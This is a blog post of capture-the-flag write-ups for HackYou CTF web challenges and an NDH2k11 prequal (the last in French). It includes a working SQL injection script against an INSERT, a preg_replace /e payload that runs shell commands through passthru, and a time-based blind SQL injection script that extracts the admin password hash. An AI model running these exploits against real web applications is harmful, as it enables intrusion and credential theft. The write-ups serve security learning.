To search


w3pwnz, therefore we are

Thursday, October 18 2012 16:02

HackYou CTF - Web100, Web200, Web300 Writeups

Web 100 - Pentagon Authentication

This is a javascript challenge containing several conditions for the password to be correct.
Let's summarize these conditions:

# secretPassPhrase = "Climbing is dangerous"
# QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor."
# length == 12
# pwd[0] in string.digits
# pwd[10] in string.digits
# pwd[1] in string.digits
# pwd[6] in string.digits
# pwd[2] in string.digits
# int(pwd[0]) + int(pwd[1]) + int(pwd[2]) + int(pwd[6]) + int(pwd[10]) == 12
# pwd[7] == 'd'
# pwd[7] == pwd[8] - 1
# pwd[2] == pwd[6]
# pwd[6] == pwd[1]
# int(pwd[1]) * int(pwd[10]) == 0
# int(pwd[1]) - int(pwd[10]) == 1
# pwd[11] + pwd[3] + pwd[4] == secretPassphrase[int(pwd[0]) / 2, 3)]
# pwd[9] in string.ascii_lowercase
# pwd[9] not in QuoteOfTheDay

We quicky find the valid password: 911in?1dej0b
We only miss character #5, but it's easy to guess it: 911in51dej0b.
Anyway it is not used by javascript checks.

Flag: n0-evidence-0n1y-this-8030

Web 200 - Global Meteo


<!-- Not ashamed to show you the source: -->

Download challenge files here.
Quick glance at the code and we find this:

$fieldArray = $_POST['fields'];
    foreach ($fieldArray as &$field) {
      $field = mysql_real_escape_string($field);
      if (is_numeric($field)) {
        if (strstr($field, "."))
          $field = (float)$field;
          $field = (int)$field;
      } elseif (strtolower($field) == "true") {
        $field = true;
      } elseif (strtolower($field) == "false") {
        $field = false;
      } else {
        $field = NULL;
    $storedFields = serialize($fieldArray);
    mysql_query("INSERT INTO storage (location, data) VALUES (\"$location\", \"$storedFields\")");

$_POST['fields'] is serialized, but values are filtered first. Anyway, it is an array, we can still modify its keys.
A string key will introduce a quote in the serialized string:

print serialize(array('fu' => true, 42 => 1337)) . "\n";
# output: a:2:{s:2:"fu";b:1;i:42;i:1337;}

We now have an SQL injection within an INSERT statement, which we can use to insert other rows, containing result from subrequests.

#!/usr/bin/env python2
import urllib
URL = ""
URL_ADD = ""
sql_injection = '), ((SELECT flag FROM secret LIMIT 1), '
params = urllib.urlencode({
    'location': "osef suce.",
    'fields[%s]' % sql_injection: "false"
print urllib.urlopen(URL_ADD, params).read()
print "-" * 80
print urllib.urlopen(URL).read()

Flag: Serialize()_ALL_the_fields!!11

Web 300 - RNG of Ultimate Security


    <!-- can't touch this: -->
    <!-- can touch this: -->

Download file index.php.txt.

Step 1 - Unobfuscate

The code is obfuscated, so let's try to unobfuscate it before delving into the vulnerability.
Every string is obfuscated, and is unobfuscated by calling b() function.

Of course function and variable names are obfuscated as well, using ${b(obfuscated_string)} syntax.
As a reminder, ${$string} is a variable variable (same than $$string).

Now the question is: what is b() doing ?
Obviously we don't need the answer, we can retrieve strings simply by performing something like:

print b("f975de3ba2") . "\n";

But that's lame, so we'll try to understand the operations performed within b(). First things first, here is what is b():

00000000  66 75 6e 63 74 69 6f 6e  20 62 28 24 62 29 7b 72  |function b($b){r|
00000010  65 74 75 72 6e 20 65 76  61 6c 28 c3 9c c3 a7 c2  |eturn eval(.....|
00000020  91 c2 88 c2 a9 c2 b2 c3  93 c3 92 c2 9c c3 84 c2  |................|
00000030  a0 c2 ac c2 9e c3 b3 c2  b6 c3 a9 c2 b2 c3 ae c2  |................|
00000040  8c c2 96 c2 89 c2 85 c3  ba c2 a0 c3 ad c2 a9 c2  |................|
00000050  a6 c3 8e c2 b2 c2 90 c2  8c c3 97 c2 aa c2 b1 c2  |................|
00000060  a7 c3 a8 c3 b9 c3 a4 c2  bc c2 a6 c2 a1 c2 ae c2  |................|
00000070  81 c3 93 c3 b0 c2 bf c2  bf c3 a0 c2 9a c3 92 c2  |................|
00000080  a0 c3 9a c2 8a c3 90 c2  be c3 9f c3 81 c3 9c c2  |................|
00000090  95 c3 af c3 8d c2 b5 c3  be c3 ab c2 99 c3 84 c2  |................|
000000a0  96 c3 be c2 b6 c2 b1 c2  9d c2 a4 c2 b3 c2 8c c3  |................|
000000b0  80 c3 a5 c3 b2 c3 88 c3  a0 c3 99 c3 ae c2 af c2  |................|
000000c0  8a c2 a1 c2 89 c2 bf c2  b8 c2 96 c2 a6 c3 b5 c3  |................|
000000d0  b0 c3 b6 c3 8c c2 bc c2  8a c2 89 c3 9f c2 ba c2  |................|
000000e0  91 c3 ac c3 98 c3 9a c3  a5 c3 a0 c3 87 c3 90 c2  |................|
000000f0  81 c2 8f c3 91 c2 91 c3  8a c3 9b c2 89 c3 a2 c3  |................|
00000100  a4 c2 a0 c3 be c2 8a c3  a9 c3 81 c3 94 c3 9b c2  |................|
00000110  92 c3 88 c3 95 c3 83 c2  91 c2 a0 c3 8f c2 84 c2  |................|
00000120  8f c2 aa c3 bc c3 a4 c2  b1 c2 b5 c3 91 c3 9b c3  |................|
00000130  8f c3 89 5e c2 ae c2 82  c3 a5 c3 bd c3 9b c3 9c  |...^............|
00000140  c3 b3 c2 a1 c3 a8 c2 b6  c3 bf c3 9e c3 bb c2 83  |................|
00000150  c3 93 c2 88 c3 86 c3 86  c3 a1 c3 b2 c2 bc c2 ad  |................|
00000160  c2 89 c3 95 c2 8f c3 9a  c3 92 c2 bc c2 9a c2 b4  |................|
00000170  c3 ae c3 bb c2 9a c2 9d  c2 9f c3 81 c3 95 c2 90  |................|
00000180  c3 8e c3 93 c3 84 c2 87  c2 ad c2 b0 c2 95 c3 96  |................|
00000190  c3 93 c3 88 c2 b2 c2 a1  c3 94 c2 a8 c3 a6 c2 b5  |................|
000001a0  c3 90 c3 b7 c3 a5 c2 be  c2 bc c3 82 c3 b5 c2 9c  |................|
000001b0  c3 91 c3 9a c2 af c3 ad  c2 bf c2 a0 c3 86 c3 90  |................|
000001c0  c3 be c3 8f c2 9b c2 ae  c2 9c c2 9d c3 86 c3 b0  |................|
000001d0  c2 bc c2 a1 c3 9c c3 8e  c2 a8 c2 8d c3 ba c3 8a  |................|
000001e0  c3 9a c3 a5 c3 92 c2 87  c3 98 c3 92 c2 ae c2 90  |................|
000001f0  c2 b2 c2 a0 c3 b6 c2 81  29 3b 7d 0a              |........);}.|

It's not a simple strrev(base64(blabla)), but rather eval()'d PHP bytecode.
To dump opcodes and see what's going on, I use Vulcan Logic Dumper.
Launch it with:

php -dvld.verbosity=1 index.php


filename:       /home/awe/Downloads/index.php(4) : eval()'d code
function name:  (null)
number of ops:  25
compiled vars:  !0 = $b
line     # *  op                           fetch          ext  return  operands
   1     0  >   SEND_VAR                                                 !0
         1      SEND_VAL                                                 0
         2      SEND_VAL                                                 8
         3      DO_FCALL                                      3  $0      'substr'
         4      SEND_VAR_NO_REF                               6          $0
         5      SEND_VAL                                                 true
         6      DO_FCALL                                      2  $1      'md5'
         7      SEND_VAR_NO_REF                               6          $1
         8      SEND_VAR                                                 !0
         9      DO_FCALL                                      1  $2      'strlen'
        10      SUB                                              ~3      $2, 8
        11      DIV                                              ~4      ~3, 16
        12      SEND_VAL                                                 ~4
        13      DO_FCALL                                      1  $5      'ceil'
        14      SEND_VAR_NO_REF                               6          $5
        15      DO_FCALL                                      2  $6      'str_repeat'
        16      SEND_VAL                                                 'H%2A'
        17      SEND_VAR                                                 !0
        18      SEND_VAL                                                 8
        19      DO_FCALL                                      2  $7      'substr'
        20      SEND_VAR_NO_REF                               6          $7
        21      DO_FCALL                                      2  $8      'pack'
        22      BW_XOR                                           ~9      $6, $8
        23    > RETURN                                                   ~9
        24*   > RETURN                                                   null

branch: #  0; line:     1-    1; sop:     0; eop:    24

If you seek more informations about PHP opcodes, RTFM :)
We deduce what PHP is doing:

return str_repeat(md5(substr($param, 0, 8), true), ceil((strlen($param) - 8) / 16)) ^ pack("H*", substr($param, 8));

Now let's create a Python script to unobfuscate the whole file:

#!/usr/bin/env python2
import re
import hashlib
import math
def my_xor(arg1, arg2):
    length = min(len(arg1), len(arg2))
    res = ""
    for i in xrange(length):
        res += chr(ord(arg1[i]) ^ ord(arg2[i]))
    return res
def unobfuscate(match):
    s =
    arg1 = hashlib.md5(s[0:8]).digest() * int(math.ceil((len(s) - 8.0) / 16))
    arg2 = s[8:].decode("hex")
    return '"%s"' % my_xor(arg1, arg2)
txt = open('index.php.txt', 'r').read()
print re.sub('b\("([^"]+)"\)', unobfuscate, txt)


<?${"Gjx7QbQ4l3EL"}="array_key_exists";${"USVuYTejL3cA"}="preg_replace";${"lRzbPV0GVCmL"}="mt_rand";${"eU3WOwVfyB2j"}="printf";${"MFBEFx3icClz"}="range";${"KytnuQGCMhPA"}="pack";${"eU3WOwVfyB2j"}("<!DOCTYPE html>
    <title>RNG of Ultimate Security</title>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: -->
    <!-- can touch this: -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>");if(${"Gjx7QbQ4l3EL"}("rng_seeds",${"_POST"})){${"LhfnDi9VtrJM"}=${"_POST"}["rng_seeds"];${"aKRml6aSjmxW"}=${"_POST"}["rng_algorithm"];${"SBBTqFwnO6s5"}="5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";if(${"aKRml6aSjmxW"}!=${"SBBTqFwnO6s5"})${"eU3WOwVfyB2j"}("wuut?! hacker detected!");else${"eU3WOwVfyB2j"}(${"USVuYTejL3cA"}("#\b(\d+)\b#se",${"KytnuQGCMhPA"}("H*",${"aKRml6aSjmxW"}),${"LhfnDi9VtrJM"}));}else{foreach(${"MFBEFx3icClz"}("1","5")as$_)${"eU3WOwVfyB2j"}(${"lRzbPV0GVCmL"}()."
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
</html>");function b($b){return eval([...])};

Better, isn't it?
We still have to manually fix a few things, mainly variable names, indentation and stuff... which finally gives us:

printf("<!DOCTYPE html>
    <title>RNG of Ultimate Security</title>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: -->
    <!-- can touch this: -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
	  <textarea name='rng_seeds' cols=50 rows=10>");
if (array_key_exists("rng_seeds", $_POST))
	$ref = "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";
	if ($_POST['rng_algorithm'] != $ref)
		printf("wuut?! hacker detected!");
		printf(preg_replace("#\b(\d+)\b#se",pack("H*", $_POST['rng_algorithm']), $_POST['rng_seeds']));
	foreach (range("1", "5") as $_)
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />

Now we can work on it.

Step 2 - Sploit da vuln

Because it is lax, PHP's typing system is a mess. Hence a string composed of digits only is sometimes considered as an integer. We cannot use any other digit-based string, it must have the same length (except if we prefix it with 0's or spaces, but that's not quite useful...), and the first digits must be the same.
Thereby we find that:


Great job, PHP!

There is a vulnerability in the preg_replace, because it's using the 'e' PCRE modifier (more infos).

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.

But a problem arise: we are limited to a strict charset, which consists of only all ASCII characters for which the hexadecimal representation is composed only of digits.
That sound unrealistic, but if we look closer at the provided rng_algorithm, we understand that's correct:

>>> "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929".decode("hex")

Our payload must begin with 'ShA1(dAT', which is annoying as we will explain below.
Our charset is ! "#$%&'()0987654321@ABCDEFGHIPQRSTUVWXY`abcdefghipqrstuvwxy
We must now focus on how to read the flag.txt.gz file. Reading it via PHP functions seems hard, knowing that 'o' is not inside the charset (so, forget about fopen, file_get_contents etc...). However, we don't even have either ';' or '.' available!

Thus we will try to find a way to execute shell commands.
A good idea is to first list PHP functions and shell commands/binaries that comply with our charset.

function check_in_charset($func)
	$len = strlen($func);
	for ($i = 0; $i < $len; ++$i)
		if (!is_numeric(bin2hex($func[$i])))
			return FALSE;
	return TRUE;
$functions = array_filter(get_defined_functions()['internal'], "check_in_charset");
print join(', ', $functions);


each, date, idate, getdate, ereg, eregi, hash, sha1, crc32, iptcparse, phpcredits, strrev, hebrev, hebrevc,
strstr, stristr, strrchr, substr, ucfirst, strtr, chr, strchr, exec, passthru, abs, pi, exp, sqrt, deg2rad, rad2deg,
hexdec, dechex, getrusage, header, gettype, settype, fgetc, fgets, fgetss, fread, fpassthru, fstat, fwrite,
fputs, fgetcsv, fputcsv, crypt, chdir, getcwd, readdir, dir, stat, chgrp, prev, reset, extract, assert, gettext,
dgettext, dcgettext

Same process for UNIX binaries, listing /bin/ and /usr/bin/.

Wow, we have 'exec()' in the list, sounds like a win? Not quite :(
Remember, we still have the 'ShA1(dAT' prefix, annoying us. We don't have ';' so we can't chain it easily with another function. However, we can use '&&'.

Therefore our payload will be "ShA1(dATe()) && FIXME".
The problem is that "exec()" returns its results as a string, so we can't do that.
... Unless ... we do something blind-like, based on substr? Nah you can forget that too, we don't even have ',' available...

Hopefully it is still exploitable, with passthru.

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

We must now find something to 'cat' the flag. No 'l', no 'o', no '*', not even '['. Forget 'ls', 'echo *', 'cat f*' etc.
However the 'dir' binary does the trick. It will list all files, but we can deal with it.
Our final payload will then look like this:

ShA1(dATe()) && passthru('cat `dir`')

It always looks easy once you have the answer ;)

The flag file is a tarball, so it's not a good idea to execute the command within a browser, we will have some issues while dumping its content.
We will instead do it via another python script:

#!/usr/bin/env python2
import urllib
URL = ""
PAYLOAD = "ShA1(dATe()) && passthru('cat `dir`')"
PAYLOAD += " " * (62 - len(PAYLOAD))
PAYLOAD = PAYLOAD.encode('hex')
params = urllib.urlencode({
    'rng_seeds': '1337',
    'rng_algorithm': PAYLOAD
open('outputz.gz', 'wb+').write(urllib.urlopen(URL, params).read())

Manually remove HTML tags from the file and execute gunzip outputz.gz.
We obtain a file that is chained base64 encoding of the password. Final Python script:

#!/usr/bin/env python2
txt = open("outputz", "r").read()
count = 0
while True:
        txt = txt.decode("base64")
        count += 1
        if ' ' in txt:
            print '[+] %d base64!' % count
            print '[+]', txt
        print txt
[+] 42 base64!
[+] flag: 36e03906042b7b266afa32bd1ea35445

Flag: 36e03906042b7b266afa32bd1ea35445

Monday, April 4 2011 23:27

NDH2k11 Prequals - Web100

Autre épreuve des préquals du CTF de la NDH 20011, la Web 100 : on arrive sur un site sur lequel on peut s’inscrire et se connecter. Les noms des pages, les messages, le titre du site nous laisser penser qu’il s’agit de ce script. web1.png

A partir de là, on voit que le script est codé avec les pieds ^^. Par exemple on a un header() sans exit derrière, une XSS, ect... Mais pas d’injection SQL dans les sources.

Néanmoins, on remarque une fonctionnalité différente entre les sources et la version online : un autologin.

Lorsqu’on demande l’autologin, avec des identifiants valides, on obtient un cookie user_cookies Par exemple, avec les identifiants niklos:niklos, j’obtiens :


On reconnait facilement de la base64 :

<?php echo base64_decode($cookie); ?>

Ce qui donne : a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafdf";i:1;s:6:"niklos";}

C’est un tableau php serializé, qui contient deux chaines de caractères. On se rend compte facilement qu’il s’agit du md5 du password, et du login en clair. On tente une injection SQL dans le login, pour faciliter la manoeuvre on utilise un petit script :

echo send($argv[1]);
function send($injection)
    if(($sock = fsockopen('', 80)) === FALSE)
        die('Erreur de Connexion');
        $requete = "POST /accueil.php HTTP/1.1\r\n";
        $requete .= "Host:\r\n";
        $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
        $requete .= "Connection: close\r\n";
        $requete .= "Cookie: user_cookies=".base64_encode('a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafdf";i:1;s:'.strlen($injection).':"'.$injection.'";}')."\r\n";
        $requete .= "Cache-Control: max-age=0\r\n\r\n";
        fputs($sock, $requete);
        $rep = '';
            $rep .= fread($sock, 1024);
        return $rep;

Et on utilise comme ça :

>php web100.php '
HTTP/1.1 200 OK
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version x to use near ''''' at line 1

Pour la suite, la fatigue commençai à se faire sentir, et je n’ai pas réussi à afficher les informations récupérées d’une requête SQL pourtant je suis sur qu'il était possible de faire un bête UNION... :/

Donc j’ai du exploiter de manière un peu plus hard... En fait j’arrivais à effectuer une requête SQL valide, mais le script ne m’authentifiais pas (peut être que je retournais trop de résultats, ou des résultats invalides, …). Etant donné qu’il se faisait déjà tard, j’ai choisi d’exploiter en “total blind”, c’est à dire en “timing-attack”. Le principe étant de combiner les fonctions IF() et SLEEP() dans la requête, puis de mesurer le temps de la requête : si notre sleep a été exécuté, alors le temps de la requête augmentera significativement.

Afin de récupérer le pass de l’admin, les 2 injections principales sont les suivantes : Pour déterminer la longueur du pass admin :

' AND IF(LENGTH((SELECT pass FROM utilisateurs WHERE privilege='admin'))=<longueur>, SLEEP(2), NULL)#

Pour bruteforcer un caractère du pass admin :

' AND IF(SUBSTR((SELECT pass FROM utilisateurs WHERE privilege='admin'), <position>, 1) = '<caractère>', SLEEP(2), NULL)#

Au final, l’exploit donne :

[+] Length = 32
[+] Found = d75012fcd80d92a3976b3cc104a5a3db

Et le md5 trouvé est le flag de validation \o/

La source de l’exploit est ci dessous.

$longueur = 0;
$longueurMax = 1000;
$break = FALSE;
$resultat = '';
# Détermination du nombre de caractères
while($break === FALSE && $longueur < $longueurMax)
    $start = microtime(TRUE);
    $reponse = send("' AND IF(LENGTH((SELECT pass FROM utilisateurs WHERE privilege='admin'))=$longueur, SLEEP(2), NULL)#");
    $stop = microtime(TRUE);
        $break = TRUE;
echo "[+] Length = $longueur\n";
# Détermination des caractères un par un
$charset = 'abcdef0123456789';
for($i=1 ; $i<=$longueur ;$i++)
    echo "[+] BF char num $i :\n";
    for( $j=0; $j<strlen($charset); $j++ )
        $start = microtime(TRUE);
        $reponse = send("' AND IF(SUBSTR((SELECT pass FROM utilisateurs WHERE privilege='admin'),$i,1)='".$charset[$j]."', SLEEP(2), NULL)#");
        $stop = microtime(TRUE);
            $resultat .= $charset[$j];
            echo "[+] Found = $resultat\n";
# Fonction Send
function send($injection)
    if(($sock = fsockopen('', 80)) === FALSE)
        die('Erreur de Connexion');
        // echo "\t->Injection : $injection\n";
        $requete = "POST /accueil.php HTTP/1.1\r\n";
        $requete .= "Host:\r\n";
        $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
        $requete .= "Connection: close\r\n";
        $requete .= "Cookie: user_cookies=".base64_encode('a:2:{i:0;s:32:"ba674fb0e437f939afd686304ffaafde";i:1;s:'.strlen($injection).':"'.$injection.'";}')."\r\n";
        $requete .= "Cache-Control: max-age=0\r\n\r\n";
        fputs($sock, $requete);
        $rep = '';
            $rep .= fread($sock, 1024);
        return $rep;